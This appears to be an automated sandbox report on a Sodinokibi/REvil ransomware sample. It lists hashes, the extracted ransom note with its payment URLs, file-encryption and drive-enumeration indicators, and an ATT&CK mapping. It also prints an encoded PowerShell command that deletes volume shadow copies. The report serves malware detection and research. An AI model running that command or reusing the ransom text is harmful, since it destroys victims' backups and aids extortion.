sodinokibi | b5e73c65a92abd6d8ea6040739e6b71a207035f1517f3813c56fbac937b8ff06

General

Target

PORT.exe
Size

164KB
MD5

6268478bf01dc3eacfa23372ca8b59fa
SHA1

f497026449bef302c235a1749ede57e7a077e159
SHA256

b5e73c65a92abd6d8ea6040739e6b71a207035f1517f3813c56fbac937b8ff06
SHA512

94ed316419f5350a845f4a988cf7b74703486fab2ba7ad0652f7280370915d8685d44447a59e8fe1f133d3923a1e929a96fe659a1b69202aae619193048345e6

Score

10^/10

sodinokibi ransomware

Malware Config

Extracted

Path

C:\583h7239-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 583h7239. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/9DBBAA9023E7FBEC 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/9DBBAA9023E7FBEC Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: z14zNYkfxYbM+CiPVci+rf60SGy4hlsKHtmoFozJ5FoqUQoTuvYbBQ1SWWJwRNgJ 0CAmCeVM3Fi18mH8lPseJG3wgQPDb9t0SoJLgVqa9Y1rJIsjkZnd4okz9EjCjo20 CELkw5khinwKNgAxTj5ZBygLQx0HbR9NekM4hjFXKj7lAtk3yCqDaiqhqdHFZLTx DJyJxjrRVMo+q/BN1z+KhFvH2JXEof0hKU94OgPhAu1lCR1q1fBJxTj0XsDPHDuU zUsoCs/TzInqxMHCvCUQJzAG7VtuK/ehoYop9xSeLUW/899RdRMklVjfrEcH40Ow Mjby4+xLfZum8ir11jfxq1coK6zCD2ZFuIw09aYMKRlZoMUlQ9LFOixbGxzmczs5 xJqKgYBbH2rtB4C2/J+gTkWjAUPX9BmfFviRMN8gl27zojr74b42KZqlMmh6p/+U hwCYj7Tw1jXXMdaIg2BMslQQPkhdGax5Z1xDEUNs2sjkOCtZENDOH//A7KMwD3jS xgiSpiGgHPzuRmpr+GcDR6Mj5A0SQO2P5XPkEhj3wiHQ9GIuWAUNjp04fG4XLqJ6 FKIP6Abh3Os7yvFGki73RVIk9T4ahYknSZLoNFEIpYi3ker+lk2JQcPouT2dYT/p I+4gDbpTAS1DO2K0yXeWPRVnz7f5ob1MIO9oCoUzGGFFDFbJ66znUbO97kSO2pEL Y+NR9CysVF1jVUHIkH2gRPTlrSSzaNTCNll3QnYt49YWG9z5QuTXCD4xx+9l9KL+ Aycs49UPNongLygFMq28MgXrue979SxvsOYWuQQKO1DZAL5v56B49DoY4h0z4y4K MnZFJstUypwmUAtHkwr7X+/vL3v/7v+ZgLR+/784faEwKtJzhMeqkdC0g9ZyU4ux sZ/sM6gHskqZcKulrCNNrAKwqIYTTkTz6KD6iCbKoZa5R08pJ90q/Bx8PI4Qr0Fb 0sKHPPGtetzyA/DwmhD+w8SWuvqxmguWpIQsnjl7kNG52rWxdYw3OuIsxTF/+WRm b1Haky8YGyD/HZitIaQTJPDozzqhUOFe0B5rEyjt973VuTJAXIOE/yw+VbWCucoV XrnDXCoyl6J3ItyaYNWlcZRzVc3zb0aJa2CAlTnKmsT4Uvdqns6wJn99UsFWxi70 t/jxZE6+P+LZbTyjJvw= ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/9DBBAA9023E7FBEC

http://decryptor.top/9DBBAA9023E7FBEC

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Modifies extensions of user files 5 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

PORT.exe

description	ioc	process
File renamed	C:\Users\Admin\Pictures\UnblockRead.raw => \??\c:\users\admin\pictures\UnblockRead.raw.583h7239	PORT.exe
File renamed	C:\Users\Admin\Pictures\StepExpand.raw => \??\c:\users\admin\pictures\StepExpand.raw.583h7239	PORT.exe
File opened for modification	\??\c:\users\admin\pictures\GrantPush.tiff	PORT.exe
File renamed	C:\Users\Admin\Pictures\ExitMeasure.crw => \??\c:\users\admin\pictures\ExitMeasure.crw.583h7239	PORT.exe
File renamed	C:\Users\Admin\Pictures\GrantPush.tiff => \??\c:\users\admin\pictures\GrantPush.tiff.583h7239	PORT.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

PORT.exe

description	ioc	process
File opened (read-only)	\??\F:	PORT.exe
File opened (read-only)	\??\O:	PORT.exe
File opened (read-only)	\??\Q:	PORT.exe
File opened (read-only)	\??\R:	PORT.exe
File opened (read-only)	\??\A:	PORT.exe
File opened (read-only)	\??\E:	PORT.exe
File opened (read-only)	\??\I:	PORT.exe
File opened (read-only)	\??\N:	PORT.exe
File opened (read-only)	\??\M:	PORT.exe
File opened (read-only)	\??\V:	PORT.exe
File opened (read-only)	\??\X:	PORT.exe
File opened (read-only)	\??\D:	PORT.exe
File opened (read-only)	\??\H:	PORT.exe
File opened (read-only)	\??\L:	PORT.exe
File opened (read-only)	\??\J:	PORT.exe
File opened (read-only)	\??\K:	PORT.exe
File opened (read-only)	\??\P:	PORT.exe
File opened (read-only)	\??\S:	PORT.exe
File opened (read-only)	\??\T:	PORT.exe
File opened (read-only)	\??\U:	PORT.exe
File opened (read-only)	\??\B:	PORT.exe
File opened (read-only)	\??\G:	PORT.exe
File opened (read-only)	\??\Z:	PORT.exe
File opened (read-only)	\??\W:	PORT.exe
File opened (read-only)	\??\Y:	PORT.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

PORT.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1809750270-3141839489-3074374771-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\7ko7r5o593.bmp"	PORT.exe

Drops file in Program Files directory 14 IoCs

Processes:

PORT.exe

description	ioc	process
File opened for modification	\??\c:\program files\StepStop.mp3	PORT.exe
File opened for modification	\??\c:\program files\UnprotectInitialize.vdw	PORT.exe
File opened for modification	\??\c:\program files\WaitImport.pub	PORT.exe
File opened for modification	\??\c:\program files\OutFormat.asp	PORT.exe
File opened for modification	\??\c:\program files\RenameWait.wav	PORT.exe
File created	\??\c:\program files\583h7239-readme.txt	PORT.exe
File opened for modification	\??\c:\program files\CompleteExport.pot	PORT.exe
File opened for modification	\??\c:\program files\CopyWait.mp2v	PORT.exe
File opened for modification	\??\c:\program files\PublishWait.mpeg3	PORT.exe
File opened for modification	\??\c:\program files\ReceivePing.easmx	PORT.exe
File created	\??\c:\program files (x86)\583h7239-readme.txt	PORT.exe
File opened for modification	\??\c:\program files\ImportFormat.iso	PORT.exe
File opened for modification	\??\c:\program files\InitializeSwitch.7z	PORT.exe
File opened for modification	\??\c:\program files\ResizeUnregister.ex_	PORT.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

PORT.exepowershell.exe

pid process

988 PORT.exe
988 PORT.exe
2976 powershell.exe
2976 powershell.exe

pid	process
988	PORT.exe
988	PORT.exe
2976	powershell.exe
2976	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

PORT.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	988	PORT.exe
Token: SeDebugPrivilege	2976	powershell.exe
Token: SeBackupPrivilege	5016	vssvc.exe
Token: SeRestorePrivilege	5016	vssvc.exe
Token: SeAuditPrivilege	5016	vssvc.exe

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

PORT.exe

description pid process target process

PID 988 wrote to memory of 2976 988 PORT.exe powershell.exe
PID 988 wrote to memory of 2976 988 PORT.exe powershell.exe

description	pid	process	target process
PID 988 wrote to memory of 2976	988	PORT.exe	powershell.exe
PID 988 wrote to memory of 2976	988	PORT.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\PORT.exe
"C:\Users\Admin\AppData\Local\Temp\PORT.exe"
1⤵
- Modifies extensions of user files
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:988

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2976

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:4368

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5016

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

Peripheral Device Discovery

1

T1120

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Defacement

1

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2976-130-0x0000000000000000-mapping.dmp

Download
memory/2976-131-0x0000018955980000-0x00000189559A2000-memory.dmp

Filesize
136KB

Download
memory/2976-132-0x00007FF963AC0000-0x00007FF964581000-memory.dmp

Filesize
10.8MB

Download
memory/2976-133-0x00007FF963AC0000-0x00007FF964581000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads